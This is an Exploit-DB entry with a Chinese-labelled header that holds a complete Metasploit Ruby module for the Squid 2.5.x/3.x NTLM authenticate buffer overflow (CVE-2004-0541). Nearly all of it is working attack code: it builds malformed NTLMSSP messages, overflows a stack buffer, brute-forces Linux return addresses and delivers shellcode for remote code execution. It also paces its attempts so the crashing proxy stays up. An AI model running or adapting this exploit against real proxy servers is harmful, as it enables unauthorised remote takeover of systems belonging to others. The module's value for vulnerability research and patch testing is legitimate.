标题: Squid 2.5.x/3.x - NTLM Buffer Overflow (Metasploit) EDB-ID: 9951 CVE: 2004-0541 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-06-08 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Brute
 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Squid NTLM Authenticate Overflow',
   'Description'    => %q{
    This is an exploit for Squid's NTLM authenticate overflow
    (libntlmssp.c). Due to improper bounds checking in
    ntlm_check_auth, it is possible to overflow the 'pass'
    variable on the stack with user controlled data of a user
    defined length.  Props to iDEFENSE for the advisory.
   },
   'Author'         => 'skape',
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2004-0541'],
     [ 'OSVDB', '6791'],
     [ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],
     [ 'BID', '10500'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 256,
     'MinNops'  => 16,
     'Prepend'  => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80",
     'PrependEncoder' => "\x83\xec\x7f",

    },
   'Targets'        => 
    [
     [ 'Linux Bruteforce', 
      { 
       'Platform'   => 'linux', 
       'Bruteforce' => 
        {
         'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c },
         'Stop'  => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc },
         'Step'  => 0
        }
      }, 
     ],
    ],
   'DisclosureDate' => 'Jun 8 2004',
   'DefaultTarget'  => 0))

  register_advanced_options(
   [
    # We must wait 15 seconds between each attempt so as to prevent
    # squid from exiting completely after 5 crashes.
    OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]),
   ], self.class)
 end

 def brute_exploit(addresses)
  site = "http://" + rand_text_alpha(rand(128)) + ".com"

  print_status("Trying 0x#{"%.8x" % addresses['Ret']}...")
  connect

  trasnmit_negotiate(site)
  transmit_authenticate(site, addresses)

  handler
  disconnect
 end

 def trasnmit_negotiate(site)
  negotiate  = 
   "NTLMSSP\x00"        + # NTLMSSP identifier
   "\x01\x00\x00\x00"   + # NTLMSSP_NEGOTIATE
   "\x07\x00\xb2\x07"   + # flags
   "\x01\x00\x09\x00"   + # workgroup len/max       (1)
   "\x01\x00\x00\x00"   + # workgroup offset        (1)
   "\x01\x00\x03\x00"   + # workstation len/max     (1)
   "\x01\x00\x00\x00"     # workstation offset      (1)

  print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)")
  req =
   "GET #{site} HTTP/1.1\r\n" +
   "Proxy-Connection: Keep-Alive\r\n" +
   "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" +
   "\r\n"
  sock.put(req)
  
 end

 def transmit_authenticate(site, addresses)
  overflow     = 
   rand_text_alphanumeric(0x20) + 
   [addresses['Ret']].pack('V') + 
   [addresses['Valid']].pack('V') + 
   "\xff\x00\x00\x00"
  shellcode    = payload.encoded
  pass_len     = [overflow.length + shellcode.length].pack('v')
  authenticate =
   "NTLMSSP\x00"        + # NTLMSSP identifier
   "\x03\x00\x00\x00"   + # NTLMSSP_AUTHENTICATE
   pass_len + pass_len  + # lanman response len/max
   "\x38\x00\x00\x00"   + # lanman response offset  (56)
   "\x01\x00\x01\x00"   + # nt response len/max     (1)
   "\x01\x00\x00\x00"   + # nt response offset      (1)
   "\x01\x00\x01\x00"   + # domain name len/max     (1)
   "\x01\x00\x00\x00"   + # domain name offset      (1)
   "\x01\x00\x01\x00"   + # user name               (1)
   "\x01\x00\x00\x00"   + # user name offset        (1)
   "\x00\x00\x00\x00"   + # session key
   "\x8b\x00\x00\x00"   + # session key
   "\x06\x82\x00\x02"   + # flags
   overflow + shellcode

  print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)")
  req =
   "GET #{site} HTTP/1.1\r\n" +
   "Proxy-Connection: Keep-Alive\r\n" +
   "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" +
   "\r\n"
  sock.put(req)
 end

end URL: https://www.exploit-db.com/exploits/9951